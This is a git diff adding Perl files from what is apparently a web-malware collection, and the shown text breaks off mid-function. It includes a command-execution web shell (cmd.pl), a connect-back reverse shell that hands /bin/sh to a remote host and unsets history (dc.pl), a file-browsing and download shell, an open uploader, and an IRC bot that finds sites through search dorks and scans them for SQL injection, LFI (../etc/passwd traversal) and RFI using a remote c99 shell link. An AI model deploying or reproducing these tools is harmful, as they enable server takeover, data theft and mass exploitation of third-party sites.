+# PerlKit-0.1 - http://www.t0s.org +# +# cmd.pl: Run commands on a webserver + +use strict; + +my ($cmd, %FORM); + +$|=1; + +print "Content-Type: text/html\r\n"; +print "\r\n"; + +# Get parameters + +%FORM = parse_parameters($ENV{'QUERY_STRING'}); + +if(defined $FORM{'cmd'}) { + $cmd = $FORM{'cmd'}; +} + +print '<HTML> +<body> +<form action="" method="GET"> +<input type="text" name="cmd" size=45 value="' . $cmd . '"> +<input type="submit" value="Run"> +</form> +<pre>'; + +if(defined $FORM{'cmd'}) { + print "Results of '$cmd' execution:\n\n"; + print "-"x80; + print "\n"; + + open(CMD, "($cmd) 2>&1 |") || print "Could not execute command"; + + while(<CMD>) { + print; + } + + close(CMD); + print "-"x80; + print "\n"; +} + +print "</pre>"; + +sub parse_parameters ($) { + my %ret; + + my $input = shift; + + foreach my $pair (split('&', $input)) { + my ($var, $value) = split('=', $pair, 2); + + if($var) { + $value =~ s/\+/ /g ; + $value =~ s/%(..)/pack('c',hex($1))/eg; + + $ret{$var} = $value; + } + } + + return %ret; +} diff --git a/web-malware-collection-master/Backdoors/PL/dc.pl b/web-malware-collection-master/Backdoors/PL/dc.pl new file mode 100755 index 0000000..a04c7f0 --- /dev/null +++ b/web-malware-collection-master/Backdoors/PL/dc.pl @@ -0,0 +1,57 @@ +#!/usr/bin/perl +use IO::Socket; +#cONNECT BACKDOOR EDITED BY XORON +#lord@SlackwareLinux:/home/programing$ perl dc.pl +#--== ConnectBack Backdoor Shell vs 1.0 by LorD of IRAN HACKERS SABOTAGE ==-- +# +#Usage: dc.pl [Host] [Port] +# +#Ex: dc.pl 127.0.0.1 2121 +#lord@SlackwareLinux:/home/programing$ perl dc.pl 127.0.0.1 2121 +#--== ConnectBack Backdoor Shell EDITED BY XORON TURK?SH HACKER ==-- +# +#[*] Resolving HostName +#[*] Connecting... 127.0.0.1 +#[*] Spawning Shell +#[*] Connected to remote host + +#bash-2.05b# nc -vv -l -p 2121 +#listening on [any] 2121 ... +#connect to [127.0.0.1] from localhost [127.0.0.1] 32769 +#--== ConnectBack Backdoor Shell EDITED BY XORON TURK?SH HACKER ==-- +# +#--==Systeminfo==-- +#Linux SlackwareLinux 2.6.7 #1 SMP Thu Dec 23 00:05:39 IRT 2004 i686 unknown unknown GNU/Linux +# +#--==Userinfo==-- +#uid=1001(xoron) gid=100(users) groups=100(users) +# +#--==Directory==-- +#/root +# +#--==Shell==-- +# +$system = '/bin/sh'; +$ARGC=@ARGV; +print "--== ConnectBack Backdoor Shell EDITED BY XORON TURK?SH HACKER ==-- \n\n"; +if ($ARGC!=2) { + print "Usage: $0 [Host] [Port] \n\n"; + die "Ex: $0 127.0.0.1 2121 \n"; +} +use Socket; +use FileHandle; +socket(SOCKET, PF_INET, SOCK_STREAM, getprotobyname('tcp')) or die print "[-] Unable to Resolve Host\n"; +connect(SOCKET, sockaddr_in($ARGV[1], inet_aton($ARGV[0]))) or die print "[-] Unable to Connect Host\n"; +print "[*] Resolving HostName\n"; +print "[*] Connecting... $ARGV[0] \n"; +print "[*] Spawning Shell \n"; +print "[*] Connected to remote host \n"; +SOCKET->autoflush(); +open(STDIN, ">&SOCKET"); +open(STDOUT,">&SOCKET"); +open(STDERR,">&SOCKET"); +print "--== ConnectBack Backdoor Shell EDITED BY XORON TURK?SH HACKER ==-- \n\n"; +system("unset HISTFILE; unset SAVEHIST;echo --==Systeminfo==--; uname -a;echo; +echo --==Userinfo==--; id;echo;echo --==Directory==--; pwd;echo; echo --==Shell==-- "); +system($system); +#EOF \ No newline at end of file diff --git a/web-malware-collection-master/Backdoors/PL/list.pl b/web-malware-collection-master/Backdoors/PL/list.pl new file mode 100755 index 0000000..62b28eb --- /dev/null +++ b/web-malware-collection-master/Backdoors/PL/list.pl @@ -0,0 +1,116 @@ +#!/usr/bin/perl +# +# PerlKit-0.1 - http://www.t0s.org +# +# browse.pl: Browse and download files from a webserver + +use strict; + +my ($path, %FORM); + +$|=1; + + +# Get parameters + +%FORM = parse_parameters($ENV{'QUERY_STRING'}); + +if(defined $FORM{'path'}) { + $path = $FORM{'path'}; + + +} else { + $path = "/"; +} + +if(-f $path) { # Download selected file + print "Content-Type: application/octet-stream\r\n"; + print "\r\n"; + open(FILE, "< $path") || print "Could not open file\n"; + + while(<FILE>) { + print; + } + + close(FILE); + exit; +} + +print "Content-Type: text/html\r\n"; +print "\r\n"; + +print '<HTML> +<body> +<form action="" method="GET"> +<input type="text" name="path" size=45 value="' . $path . '"> +<input type="submit" value="List"> +</form> +Directory ' . $path . ' contents: +<p> +<font face="courier"> +<table>'; + +if(defined $FORM{'path'}) { + + opendir(DIR, $path) || print "Could not open directory"; + + foreach (sort(readdir(DIR))) { + print get_fileinfo($path, $_). "\n"; + } + + closedir(DIR); + +} + +print "</table></font>"; + +sub parse_parameters ($) { + my %ret; + + my $input = shift; + + foreach my $pair (split('&', $input)) { + my ($var, $value) = split('=', $pair, 2); + + if($var) { + $value =~ s/\+/ /g ; + $value =~ s/%(..)/pack('c',hex($1))/eg; + + $ret{$var} = $value; + } + } + + return %ret; +} + +sub get_fileinfo ($$) { + my $ret; + + my ($dir,$filename) = @_; + my $file = $dir . "/" . $filename; + + $file=~s/\/+/\//g; + + $ret = "<tr>"; + + $ret .= "<td>"; + + if(-d $file) { + $file=~s/\/[^\/]+\/\.\./\//g; + $ret .= "<a href=\"?path=$file\">$filename</a>"; + } else { + $ret .= "$filename <a href=\"?path=$file\">[D]</a>" ; + } + $ret .= "</td>"; + + my ($dev,$ino,$mode,$nlink,$uid,$gid,$rdev,$size, $atime,$mtime,$ctime,$blksize,$blocks) = stat($file); + + $ret .= "<td width=30'>&nbsp;</td>"; + $ret .= "<td>$size</td>"; + $ret .= "<td>". getpwuid($uid) ."</td>"; + $ret .= "<td>". getgrgid($gid) ."</td>"; + + $ret .= "</tr>"; + + return $ret; +} diff --git a/web-malware-collection-master/Backdoors/PL/up.pl b/web-malware-collection-master/Backdoors/PL/up.pl new file mode 100755 index 0000000..9522cfc --- /dev/null +++ b/web-malware-collection-master/Backdoors/PL/up.pl @@ -0,0 +1,555 @@ +#!/usr/bin/perl +###################################################### +# upload a file with netscape 2.0+ or IE 4.0+ +# Muhammad A Muquit +# When: Long time ago +# Changelog: +# James Bee" <JamesBee@home.com> reported that from Windows filename +# such as c:\foo\fille.x saves as c:\foo\file.x, Fixed, Jul-22-1999 +# Sep-30-2000, muquit@muquit.com +# changed the separator in count.db to | from : +# As in NT : can be a part of a file path, e.g. c:/foo/foo.txt +###################################################### +# +# $Revision: 5 $ +# $Author: Muquit $ +# $Date: 3/28/04 9:38p $ + +#use strict; +use CGI; +# if you want to restrict upload a file size (in bytes), uncomment the +# next line and change the number + +#$CGI::POST_MAX=50000; + +$|=1; + +my $version="V1.4"; + +## vvvvvvvvvvvvvvvvvvv MODIFY vvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvv + +# the text database of the user. The text database contains the | +# separated items, namely login|encrypted password|upload path +# example: muquit|fhy687kq1hger|/usr/local/web/upload/muquit +# if no path is specified, the file must be located in the cgi-bin directory. + +#my $g_upload_db="upload.db"; + +# overwrite the existing file or not. Default is to overwrite +# chanage the value to 0 if you do not want to overwrite an existing file. +my $g_overwrite=1; + +# if you want to restrict upload to files with certain extentions, change +# the value of $g_restrict_by_ext=1 and ALSO modify the @g_allowed_ext if you +# want to add other allowable extensions. +my $g_restrict_by_ext=0; +# case insensitive, so file with Jpeg JPEG GIF gif etc will be allowed +my @g_allowed_ext=("jpeg","jpg","gif","png"); + +## ^^^^^^^^^^^^^^^^^^^ MODIFY ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ + + + +#-------------- globals---------- STARTS ------------------ +my $query=new CGI; +my $g_debug=0; + + +my $g_title="File upload"; +my $g_upload_path='/tmp'; + +#-------------- globals---------- ENDS ------------------ + + +print $query->header; + +# Java Script for form validation +# +my $JSCRIPT=<<EJS; + +var returnVal=true; +var DEBUG=0; + +//=========================================================================== +// Purpose: check if field is blank or NULL +// Params: +// field (IN) +// errorMsg (IN - MODIFIED) +// fieldTitle (IN) +// Returns: +// errorMsg - error message +// Globals: +// sets global variable (returnVal) to FALSE if field is blank or NULL +// Comments: +// JavaScript code adapted from netscape software registration form. +// ma_muquit\@fccc.edu, May-09-1997 +//=========================================================================== + +function ValidateAllFields(obj) +{ + returnVal = true; + errorMsg = "The required field(s):\\n"; + + // make sure all the fields have values + if (isSomeFieldsEmpty(obj) == true) + { + // DISPLAY ERROR MSG + displayErrorMsg(); + returnVal = false; + } + + if (returnVal == true) + document.forms[0].submit(); + else + return (false); +} + +//=========================================================================== +function displayErrorMsg() +{ + errorMsg += "\\nhas not been completed."; + alert(errorMsg); +} + +//=========================================================================== +function isSomeFieldsEmpty(obj) +{ + var + returnVal3=false; + + + +// check if login is null +# if (obj.userid.value == "" || obj.userid.value == null) +# { +# errorMsg += " " + "Userid" + "\\n"; +# returnVal3=true; +# } + +// check if Password is null + +# if (obj.password.value == "" || obj.password.value == null) +# { +# errorMsg += " " + "Password" + "\\n"; +# returnVal3=true; +# } + +// check if upload_file is null + if (obj.upload_file.value == "" || obj.upload_file.value == null) + { + errorMsg += " " + "Upload filename" + "\\n"; + returnVal3=true; + } + + return (returnVal3); +} + +EJS +; + +# print the HTML HEADER +&printHTMLHeader; + +if ($query->path_info eq "/author" or $query->path_info eq "/about") +{ + &printForm; + &printAuthorInfo; + return; +} + +if ($query->param) +{ + &doWork(); +} +else +{ + &printForm(); +} + +##----- +# printForm() - print the HTML form +##----- +sub printForm +{ + + print "<center>\n"; + print "<table border=0 bgcolor=\"#c0c0c0\" cellpadding=5 cellspacing=0>\n"; + + print $query->start_multipart_form,"\n"; + + #------------- userid + #print "<tr>\n"; + #print "<td align=\"right\">\n"; + #print "Userid:\n"; + #print "</td>\n"; + + #print "<td>\n"; + #print $query->textfield(-name=>'userid', + # -size=>20); + #print "</td>\n"; + #print "</tr>\n"; + + #------------- password + #print "<tr>\n"; + #print "<td align=\"right\">\n"; + #print "Password:\n"; + #print "</td>\n"; + + #print "<td>\n"; + #print $query->password_field(-name=>'password', + # -size=>20); + #print "</td>\n"; + #print "</tr>\n"; + + #------------- upload + print "<tr>\n"; + print "<td align=\"right\">\n"; + print "Upload file:\n"; + print "</td>\n"; + + print "<td>\n"; + print $query->filefield(-name=>'upload_file', + -size=>30, + -maxlength=>80); + print "</td>\n"; + print "</tr>\n"; + + + + #------------- submit + print "<tr>\n"; + print "<td colspan=2 align=\"center\">\n"; + print "<hr noshade size=1>\n"; + print $query->submit(-label=>'Upload', + -value=>'Upload', + -onClick=>"return ValidateAllFields(this.form)"),"\n"; + print "</td>\n"; + print "</tr>\n"; + + + + print $query->endform,"\n"; + + print "</table>\n"; + print "</center>\n"; +} + + + +##------ +# printHTMLHeader() +##------ +sub printHTMLHeader +{ + print $query->start_html( + -title=>"$g_title", + -script=>$JSCRIPT, + -bgcolor=>"#ffffff", + -link=>"#ffff00", + -vlink=>"#00ffff", + -alink=>"#ffff00", + -text=>"#000000"); +} + +##------- +# doWork() - upload file +##------- +sub doWork +{ + ################## + my $em=''; + ################## + + + # import the paramets into a series of variables in 'q' namespace + $query->import_names('q'); + # check if the necessary fields are empty or not + #$em .= "<br>You must specify your Userid!<br>" if !$q::userid; + #$em .= "You must specify your Password!<br>" if !$q::password; + $em .= "You must select a file to upload!<br>" if !$q::upload_file; + + &printForm(); + if ($em) + { + &printError($em); + return; + } + + #if (&validateUser() == 0) + #{ + # &printError("Will not upload! Could not validate Userid: $q::userid"); + # return; + #} + + # if you want to restrict upload to files with certain extention + if ($g_restrict_by_ext == 1) + { + my $file=$q::upload_file; + my @ta=split('\.',$file); + my $sz=scalar(@ta); + if ($sz > 1) + { + my $ext=$ta[$sz-1]; + if (! grep(/$ext/i,@g_allowed_ext)) + { + &printError("You are not allowed to upload this file"); + return; + } + + } + else + { + &printError("You are not allowed to upload this file"); + return; + } + } + + # now upload file + &uploadFile(); + + if ($g_debug == 1) + { + my @all=$query->param; + my $name; + foreach $name (@all) + { + print "$name ->", $query->param($name),"<br>\n"; + } + } +} + +##------ +# printError() - print error message +##------ +sub printError +{ + my $em=shift; + print<<EOF; +<center> + <hr noshade size=1 width="80%"> + <table border=0 bgcolor="#000000" cellpadding=0 cellspacing=0> + <tr> + <td> + <table border=0 width="100%" cellpadding=5 cellspacing=1> + <tr"> + <td bgcolor="#ffefd5" width="100%"> + + <font color="#ff0000"><b>Error -</b></font> + $em</td> + </tr> + </table> + </td> + </tr> + + </table> +</center> +EOF +; +} + +##-- +# validate login name +# returns 1, if validated successfully +# 0 if validation fails due to password or non existence of login +# name in text database +##-- +sub validateUser +{ + my $rc=0; + my ($u,$p); + #my $userid=$query->param('userid'); + #my $plain_pass=$query->param('password'); + + # open the text database + unless(open(PFD,$g_upload_db)) + { + my $msg=<<EOF; +Could not open user database: $g_upload_db +<br> +Reason: $! +<br> +Make sure that your web server has read permission to read it. +EOF +; + &printError("$msg"); + return; + } + + # first check if user exist + $g_upload_path=''; + my $line=''; + while (<PFD>) + { + $line=$_; + chomp($line); + # get rid of CR + $line =~ s/\r$//g; + ($u,$p,$g_upload_path)=split('\|',$line); + #if ($userid eq $u) + #{ + # $rc=1; + # last; + #} + } + close(PFD); + + if (crypt($plain_pass,$p) ne $p) + { + $rc=0; + } + + return ($rc); +} + +##-------- +# uploadFile() +##-------- +sub uploadFile +{ + my $bytes_read=0; + my $size=''; + my $buff=''; + my $start_time; + my $time_took; + my $filepath=''; + my $filename=''; + my $write_file=''; + + $filepath=$query->param('upload_file'); + + # James Bee" <JamesBee@home.com> reported that from Windows filename + # such as c:\foo\fille.x saves as c:\foo\file.x, so we've to get the + # filename out of it + # look at the last word, hold 1 or more chars before the end of the line + # that doesn't include / or \, so it will take care of unix path as well + # if it happens, muquit, Jul-22-1999 + if ($filepath =~ /([^\/\\]+)$/) + { + $filename="$1"; + } + else + { + $filename="$filepath"; + } + # if there's any space in the filename, get rid of them + $filename =~ s/\s+//g; + + $write_file="$g_upload_path" . "/" . "$filename"; + + &print_debug("Filename=$filename"); + &print_debug("Writefile= $write_file"); + + if ($g_overwrite == 0) + { + if (-e $write_file) + { + &printError("File $filename exists, will not overwrite!"); + return; + } + } + + if (!open(WFD,">$write_file")) + { + my $msg=<<EOF; +Could not create file: <code>$write_file</code> +<br> +It could be: +<ol> +<li>The upload directory: <code>\"$g_upload_path\"</code> does not have write permission for the +web server. +<li>The upload.db file has Control character at the end of line +</ol> +EOF +; + + &printError("$msg"); + return; + } + + $start_time=time(); + while ($bytes_read=read($filepath,$buff,2096)) + { + $size += $bytes_read; + binmode WFD; + print WFD $buff; + } + + &print_debug("size= $size"); + + close(WFD); + + if ((stat $write_file)[7] <= 0) + { + unlink($write_file); + &printError("Could not upload file: $filename"); + return; + } + else + { + $time_took=time()-$start_time; + print<<EOF; +<center> + <hr noshade size=1 width="90%"> + <table border=0 bgcolor="#c0c0c0" cellpadding=0 cellspacing=0> + <tr> + <td> + <table border=0 width="100%" cellpadding=10 cellspacing=2> + <tr align="center"> + <td bgcolor="#000099" width="100%"> + <font color="#ffffff"> + File + <font color="#00ffff"><b>$filename</b></font> of size + <font color="#00ffff"><b>$size</b></font> bytes is + uploaded successfully! + </font> + </td> + </tr> + </table> + </td> + </tr> + + </table> +</center> +EOF +; + } +} + +sub printAuthorInfo +{ + my $url="http://www.muquit.com/muquit/"; + my $upl_url="http://muquit.com/muquit/software/upload_pl/upload_pl.html"; + print<<EOF; +<center> + <hr noshade size=1 width="90%"> + <table border=0 bgcolor="#c0c0c0" cellpadding=0 cellspacing=0> + <tr> + <td> + <table border=0 width="100%" cellpadding=10 cellspacing=2> + <tr align="center"> + <td bgcolor="#000099" width="100%"> + <font color="#ffffff"> + <a href="$upl_url"> + upload.pl</a> $version by + <a href="$url">Muhammad A Muquit</A> + </font> + </td> + </tr> + </table> + </td> + </tr> + + </table> +</center> +EOF +; +} + +sub print_debug +{ + my $msg=shift; + if ($g_debug) + { + print "<code>(debug) $msg</code><br>\n"; + } +} diff --git a/web-malware-collection-master/Bots/Perl/AlpHaNiX.IRC.v1.5.txt b/web-malware-collection-master/Bots/Perl/AlpHaNiX.IRC.v1.5.txt new file mode 100755 index 0000000..e7b4c39 --- /dev/null +++ b/web-malware-collection-master/Bots/Perl/AlpHaNiX.IRC.v1.5.txt @@ -0,0 +1,542 @@ +#!/usr/bin/perl +# +# OOO OOO OO OO OO +# OO O O O O +# O O O OO OO O O O O OO OOO OOOO OOOOO +# O O O O O O O OOO OO OOOOOO O +# O OO O O O O O O O O OOOOOO +# OOO OO OOOOO OOOOO OOOOO OOO OOO OOOOO OOOOO OOOO OO +################################################################################################################################ +# AlpHaNiX IRC BOT V1.5 beta +################################################################################################################################ +# [+] What's New in this version ? +# 1/ RFI Vulnerable Scanner +# 2/ LFI Vulnerable Scanner +# 3/ an msg when scan finish +# 4/ msg appear once banned from google search +################################################################################################################################ +# [+] About : +################################################################################################################################ +# Language : PERL +# Coder : AlpHaNiX +################################################################################################################################ +# [+] Usage : +################################################################################################################################ +# ------------ You Must Change BOT Config First Of ALL +# ------------ Bot Commands : +#-- !md5 <word> => make an md5 hash +#-- !md5crack <hash> => crack md5 hashes +#-- !base64 <word> => encode with base64 +#-- !basedecode <text to decode> => decode base64 text +#-- !lastsploits => to get lastest sploits from milw0rm +#-------------------------------------{ SQL INJECTION FUNCTIONS }----------------------------------------- +#-- !col <vuln> => calculate number of columns in a sql vulnerable +#-- !det <vuln> * => MySQL DB Details (version , user ,db , dir ) +#-- !schema <vuln> * => Extract all (DB's , Tables , Columns) names +#-- !dump <vuln> * => Dump Data from a column & table +#-- !ms <vuln> => Get MsSQL DB Details +# ===>>> * you must enter vuln this way http://target.com/page.php?id=0+union+select+1,nullarea,2,3 +#-------------------------------------{ Vulnerability scan FUNCTIONS }----------------------------------------- +#-- !sqlscan <dork> => fetch url's from google and check if sql vuln or not +#-- !rfiscan <dork> => fetch url's from google and check if rfi vuln or not +#-- !lfiscan <dork> => fetch url's from google and check if lfi vuln or not +################################################################################################################################ +# [+] Contact : +################################################################################################################################ +# E-Mail Address : AlpHa[AT]Hacker[DOT]BZ +# Home Page : http://NullArea.Net +# My Blog : #http://NullArea.Net/blog +################################################################################################################################ +# [+] Greetz : +################################################################################################################################ +# Greetz For My Best Friend Zigma ! +# Special Thanks For All of : Djekmani4ever / Unary / DexTeR Corleon / r1z +################################################################################################################################ +# -------------------- Made In Tunisia +################################################################################################################################ +use IO::Socket::INET ; +use LWP::UserAgent; +use LWP::Simple; +use Digest::MD5 qw(md5_hex); +use MIME::Base64; +############################################################################################ +my $server = "irc.perl.org"; # IRC Server +my $port = "6667"; # IRC Server port +my $nick = "SF[Scan]"; # Bot Nick +my $channel = "#shellfull"; # Channel to Join +my $name = "nix user alpha unr"; +my $phpshell = "http://www.c99.mobi/c99.txt"; #your phpshell link for RFI scan +############################################################################################ +system('cls'); +print "\n\n\n\n OOO OOO OO OO OO\n" ; +print " OO O O O O\n" ; +print " O O O OO OO O O O O OO OOO OOOO OOOOO\n" ; +print " O O O O O O O OOO OO OOOOOO O\n" ; +print " O OO O O O O O O O O OOOOOO\n" ; +print " OOO OO OOOOO OOOOO OOOOO OOO OOO OOOOO OOOOO OOOO OO\n" ; +print " \n\n AlpHaNiX IRC BOT V1 \n\n"; +print "\n [+] Connection To $server ....\n"; +############################################################################################ +$connection = IO::Socket::INET->new(PeerAddr=>"$server", + PeerPort=>"$port", + Proto=>'tcp', + Timeout=>'30') or die " [!] Couldnt Connect To $server\n"; +print " [+] Connected To $server ....\n\n"; +############################################################################################ +print $connection "USER $name\n"; +print $connection "NICK $nick\r\n"; +############################################################################################ +while($response = <$connection>) +{ + print $response; #print IRC Response + if($response =~ m/:(.*) 00(.*) (.*) :/){print $connection "JOIN $channel\r\n";} #-------Join Channel + if($response =~ m/:(.*)!(.*) PRIVMSG $channel :!help/){&help;} #-------Print Help + if($response =~ m/:(.*)!(.*) PRIVMSG $channel :!md5 (.*)$/){&md5encode;} #------- md5encoder + if($response =~ m/:(.*)!(.*) PRIVMSG $channel :!md5crack (.*)$/){&md5cracker;} #-------md5cracker + if($response =~ m/:(.*)!(.*) PRIVMSG $channel :!base64 (.*)$/){&base64;} #-------base64 encoder + if($response =~ m/:(.*)!(.*) PRIVMSG $channel :!basedecode (.*)$/){&basedecode;}#-------base64decoder + if($response =~ m/:(.*)!(.*) PRIVMSG $channel :!iplocation (.*)$/){&iplocation;}#-------ip locator + if($response =~ m/:(.*)!(.*) PRIVMSG $channel :!lastsploits/){&milw0rm;} #-------last sploits + if($response =~ m/:(.*)!(.*) PRIVMSG $channel :!sqlscan (.*)$/){&sqlscan;} #-------SQLi scanner + if($response =~ m/:(.*)!(.*) PRIVMSG $channel :!lfiscan (.*)$/){&lfiscan;} #-------LFI Scanner + if($response =~ m/:(.*)!(.*) PRIVMSG $channel :!rfiscan (.*)$/){&rfiscan;} #-------RFI Scanner + if($response =~ m/:(.*)!(.*) PRIVMSG $channel :!col (.*)$/){&colcount;} #-------column counter + if($response =~ m/:(.*)!(.*) PRIVMSG $channel :!det (.*)$/){&mysqldet;} #-------details grabber + if($response =~ m/:(.*)!(.*) PRIVMSG $channel :!schema (.*)$/){&schema;} #-------schema extractor + if($response =~ m/:(.*)!(.*) PRIVMSG $channel :!dump (.*)-(.*)-(.*)$/){&mysqldumper}#-------data dumper + if($response =~ m/:(.*)!(.*) PRIVMSG $channel :!ms (.*)$/){&mssqldet} #-------mssql details grabber + if($response =~ m/^PING (.*?)$/gi){print $connection "PONG ".$1."\r\n";} #-------ping reponse +} +############################################################################################ +sub help +{ + print $connection "PRIVMSG $channel :8,1 AlpHaNiX IRC BOT V1.5 Help : \r\n"; + print $connection "PRIVMSG $channel :8,1 \r\n"; + print $connection "PRIVMSG $channel :4,1 --------------== Encoding Services ==--------------\r\n"; + print $connection "PRIVMSG $channel :9,1 To Generate an MD5 Hash => : 11,1 !md5 word \r\n"; + print $connection "PRIVMSG $channel :9,1 To Crack an MD5 Hash => : 11,1 !md5crack Hash \r\n"; + print $connection "PRIVMSG $channel :9,1 To Encode with Base64 => : 11,1 !base64 word \r\n"; + print $connection "PRIVMSG $channel :9,1 To Decode Base64 => : 11,1 !basedecode base64 \r\n"; + print $connection "PRIVMSG $channel :4,1 ----------------== Other Services ==---------------\r\n"; + print $connection "PRIVMSG $channel :9,1 Check IP Location => : 11,1 !iplocation ip \r\n"; + print $connection "PRIVMSG $channel :9,1 Get lastest Sploits => : 11,1 !lastsploits \r\n"; + print $connection "PRIVMSG $channel :4,1 ----------------== SQL Injection ==----------------\r\n"; + print $connection "PRIVMSG $channel :9,1 MySQL Column Count => : 11,1 !col target \r\n"; + print $connection "PRIVMSG $channel :9,1 MySQL DB Details => : 11,1 !det target \r\n"; + print $connection "PRIVMSG $channel :9,1 MySQL Schema Extractor => : 11,1 !schema target \r\n"; + print $connection "PRIVMSG $channel :9,1 MySQL Data Dumper => : 11,1 !dump target \r\n"; + print $connection "PRIVMSG $channel :9,1 MsSQL Details => : 11,1 !ms target \r\n"; + print $connection "PRIVMSG $channel :4,1 ------------== Vulnerablitys Scanner ==------------\r\n"; + print $connection "PRIVMSG $channel :9,1 SQL Vuln Scanner => : 11,1 !sqlscan dork \r\n"; + print $connection "PRIVMSG $channel :9,1 LFI Vuln Scanner => : 11,1 !lfiscan dork \r\n"; + print $connection "PRIVMSG $channel :9,1 RFI Vuln Scanner => : 11,1 !rfiscan dork \r\n"; +} +############################################################################################ +sub md5encode +{ + my $md5_hash = $3; + my $asker = $1; + my $md5_generated = md5_hex($md5_hash); + print $connection "PRIVMSG $channel :4$asker , done =>6 $md5_generated\r\n"; +} +############################################################################################ +sub md5cracker +{ + my $asker = $1; + my $hash = $3; + if (length($hash) != 33) + { + print $connection "PRIVMSG $channel :Not Valid MD5 Hash !\r\n"; + } + else + { + my $ua = LWP::UserAgent->new(); + my $contents = $ua->get('http://md5.rednoize.com/?p&s=md5&q='.$hash); + my $cracked = $contents->content; + if ($cracked) + { + print $connection "PRIVMSG $channel :4$asker Cracked ! =>6 $cracked\r\n"; + } + else + { + print $connection "PRIVMSG $channel :4$asker,6 Not Found !\r\n"; + } + } +} +############################################################################################ +sub base64 +{ + my $base64 = $3; + my $asker = $1; + my $base64_encoded = encode_base64($base64); + print $connection "PRIVMSG $channel :4$asker,6 Encoded => $base64_encoded\r\n"; +} +############################################################################################ +sub basedecode +{ + my $base64d = $3; + my $asker = $1; + my $base64_decoded = decode_base64($base64d); + print $connection "PRIVMSG $channel :4$asker,6 Decoded => $base64_decoded\r\n"; +} +############################################################################################ +sub iplocation +{ + my $asker = $1; + my $ip = $3; + if (length($ip) > 17) + { + print $connection "PRIVMSG $channel :6Not Real IP !\r\n"; + } + else + { + my $ua = LWP::UserAgent->new(); + my $contents = $ua->get('http://www.melissadata.com/lookups/iplocation.asp?ipaddress='.$ip); + my $found = $contents->content; + if ($found =~ /<tr><td align="right">Country<\/td><td><b>(.*)<\/b><\/td><\/tr>/) + { + print $connection "PRIVMSG $channel :4$asker , The IP Location =>6 $1\r\n"; + } + else + { + print $connection "PRIVMSG $channel :6Not Real IP !\r\n"; + } + } +} +############################################################################################ +sub milw0rm +{ + my $rss = get('http://milw0rm.com/rss.php'); + my $xml = XMLin($rss); + my $spl = scalar(@{$xml->{channel}->{item}}); + for ($i=0; $i<$spl; $i++) + { + print $connection "PRIVMSG $channel :4\n"; + print $connection "PRIVMSG $channel :6Date : $xml->{channel}->{item}->[$i]->{pubDate}\n"; + print $connection "PRIVMSG $channel :6Title: $xml->{channel}->{item}->[$i]->{title}\n"; + print $connection "PRIVMSG $channel :6Link : $xml->{channel}->{item}->[$i]->{link}\n\n"; + } +} +############################################################################################ +sub sqlscan +{ + my $asker = $1; + my $dork = $3; + print $connection "PRIVMSG $channel :4$asker 12[+] SQL Vulnerable Scan Started ....\r\n"; + print $connection "PRIVMSG $channel :4$asker 12[+] Dork : $dork ....\r\n"; + my $google = "http://www.google.com/search?hl=en&q=$dork&btnG=Search&start=" ; + #---- + my $request = HTTP::Request->new(GET=>"$google"."$i"); + my $useragent = LWP::UserAgent->new(agent => 'Firefox 3.0.9'); + my $response = $useragent->request($request) ; + my $con = $response->content; + if ($con =~ m/restore your access as quickly as possible, so try again soon. In the meantime, if you suspect that your computer or network has been infected/i) + { print $connection "PRIVMSG $channel :4$asker 12[!] Banned From Google Search !!\r\n"; } + else + { + for ($i=0;$i<200;$i=$i+10) + { + my $request = HTTP::Request->new(GET=>"$google"."$i"); + my $useragent = LWP::UserAgent->new(agent => 'Mozilla 5.2'); + my $response = $useragent->request($request) ; + my $con = $response->content; + my $start='class=r><a href=\"'; + my $end= '" class=l>'; + while ( $con =~ m/$start(.*?)$end/g ) + { + my $fl = $1; + my $link = $fl.'0+order+by+9999999--'; + print $connection "PRIVMSG $channel :4$asker 12[!] Trying To Fuzz6 $1\r\n"; + my $ua = LWP::UserAgent->new(); + my $req = $ua->get($link); + my $result = $req->content; + if ($result=~ m/You have an error in your SQL syntax/i || $result=~ m/Query failed/i || $result=~ m/SQL query failed/i || $result=~ m/mysql_fetch_/i || $result=~ m/mysql_fetch_array/i || $result =~ m/mysql_num_rows/i || $result =~ m/The used SELECT statements have a different number of columns/i ) + {print $connection "PRIVMSG $channel :4$asker 12[!] Possible MySQL Vulnerable Website ->6 $fl\r\n";} + elsif ($result=~ m/ODBC SQL Server Driver/i || $result=~ m/Unclosed quotation mark/i || $result=~ m/Microsoft OLE DB Provider for/i ) + {print $connection "PRIVMSG $channel :4$asker 12[!] Possible MsSQL Vulnerable Website ->6 $fl\r\n";} + elsif ($result=~ m/Microsoft JET Database/i || $result=~ m/ODBC Microsoft Access Driver/i ) + {print $connection "PRIVMSG $channel :4$asker 12[!] Possible MS Access Vulnerable Website ->6 $fl\r\n";} + } + } + print $connection "PRIVMSG $channel :4$asker 12[!] SQL Scan Finished !\r\n"; + } +} +############################################################################################ +sub lfiscan +{ + my $asker = $1; + my $dork = $3; + print $connection "PRIVMSG $channel :4$asker 12[+] LFI Vulnerable Scan Started ....\r\n"; + print $connection "PRIVMSG $channel :4$asker 12[+] Dork : $dork ....\r\n"; + my $google = "http://www.google.com/search?hl=en&q=$dork&btnG=Search&start=" ; + @LFI = ('../etc/passwd', + '../../etc/passwd', + '../../../etc/passwd', + '../../../../etc/passwd', + '../../../../../etc/passwd', + '../../../../../../etc/passwd', + '../../../../../../../etc/passwd', + '../../../../../../../../etc/passwd', + '../../../../../../../../../etc/passwd', + '../../../../../../../../../../etc/passwd', + '../../../../../../../../../../../etc/passwd', + '../../../../../../../../../../../../etc/passwd', + '../../../../../../../../../../../../../etc/passwd', + '../../../../../../../../../../../../../../etc/passwd',); + my $request = HTTP::Request->new(GET=>"$google"."$i"); + my $useragent = LWP::UserAgent->new(agent => 'Mozilla 5.2'); + my $response = $useragent->request($request) ; + my $con = $response->content; + if ($con =~ m/restore your access as quickly as possible, so try again soon. In the meantime, if you suspect that your computer or network has been infected/i) + { print $connection "PRIVMSG $channel :4$asker 12[!] Banned From Google Search !!\r\n"; } + else + { + for ($i=0;$i<200;$i=$i+10) + { + my $start='class=r><a href=\"'; + my $end= '" class=l>'; + while ( $con =~ m/$start(.*?)$end/g ) + { + print $connection "PRIVMSG $channel :4$asker 12[!] Trying To Fuzz6 $1\r\n"; + for ($j;$j<=14;$j++) + { + my $fl = $1; + my $link = $fl.$LFI[$j]; + my $ua = LWP::UserAgent->new(); + my $req = $ua->get($link); + my $result = $req->content; + if ($result=~ m/root:x:/i) + {print $connection 